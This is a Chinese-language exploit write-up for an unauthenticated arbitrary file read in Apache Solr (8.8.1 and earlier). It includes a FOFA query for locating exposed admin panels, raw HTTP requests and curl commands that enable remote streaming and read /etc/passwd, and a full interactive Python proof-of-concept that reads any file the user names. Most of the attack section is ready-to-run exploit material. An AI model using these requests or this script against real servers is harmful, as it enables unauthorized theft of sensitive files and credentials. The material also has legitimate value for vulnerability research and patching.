# Apache Solr 任意文件读取漏洞
## 漏洞描述
Apache Solr 存在任意文件读取漏洞，攻击者可以在未授权的情况下获取目标服务器敏感文件
## 漏洞影响
> [!NOTE]
>
> Apache Solr <= 8.8.1
## FOFA
> [!NOTE]
>
> title="Solr Admin"
## 漏洞复现
访问 Solr Admin 管理员页面
获取core的信息
```
http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json
```
发送请求
请求包如下
```
POST /solr/ckan/config HTTP/1.1
Host: xxx.xxx.xxx:8983
Content-Length: 99
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://118.31.46.134:8983
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://118.31.46.134:8983/solr/ckan/config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true},"olrkzv64tv":"="}
```
再进行文件读取
请求包如下
```
POST /solr/ckan/debug/dump?param=ContentStreams HTTP/1.1
Host: xxx.xxx.xxx.xxx:8983
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Origin: http://118.31.46.134:8983
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://118.31.46.134:8983/solr/ckan/config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close
stream.url=file:///etc/passwd
```
Curl请求为
```sh
curl -d '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://xxx.xxx.xxx.xxx:8983/solr/{corename}/config -H 'Content-type:application/json'
curl "http://xxx.xxx.xxx.xxx:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file://etc/passwd"
```
## 漏洞利用POC
> [!NOTE]
>
> POC还是建立在未授权访问的情况下
```python
import requests
import sys
import random
import re
import base64
import time
from lxml import etree
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Apache Solr < 8.2.0 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:8983 \033[0m')
print('+ \033[36mFile >>> 文件名称或目录 \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
try:
response = requests.request("GET", url=core_url, timeout=10)
core_name = list(json.loads(response.text)["status"])[0]
print("\033[32m[o] 成功获得core_name,Url为：" + target_url + "/solr/" + core_name + "/config\033[0m")
return core_name
except:
print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
sys.exit(0)
def POC_2(target_url, core_name):
vuln_url = target_url + "/solr/" + core_name + "/config"
headers = {
"Content-type":"application/json"
}
data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
print("\033[36m[o] 正在准备文件读取...... \033[0m".format(target_url))
if "This" in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {} 可能存在漏洞 \033[0m".format(target_url))
else:
print("\033[31m[x] 目标 {} 不存在漏洞\033[0m".format(target_url))
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
def POC_3(target_url, core_name, File_name):
vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name)
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = 'stream.url=file://{}'.format(File_name)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
if "No such file or directory" in response.text:
print("\033[31m[x] 读取{}失败 \033[0m".format(File_name))
else:
print("\033[36m[o] 响应为:\n{} \033[0m".format(json.loads(response.text)["streams"][0]["stream"]))
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
core_name = POC_1(target_url)
POC_2(target_url, core_name)
while True:
File_name = str(input("\033[35mFile >>> \033[0m"))
POC_3(target_url, core_name, File_name)
```
## Goby & POC
> 已上传 https://github.com/PeiQi0/PeiQi-WIKI-POC Goby & POC 目录中
>
> Apache_Solr_Arbitrary_File_Read.json
## 参考文章
https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ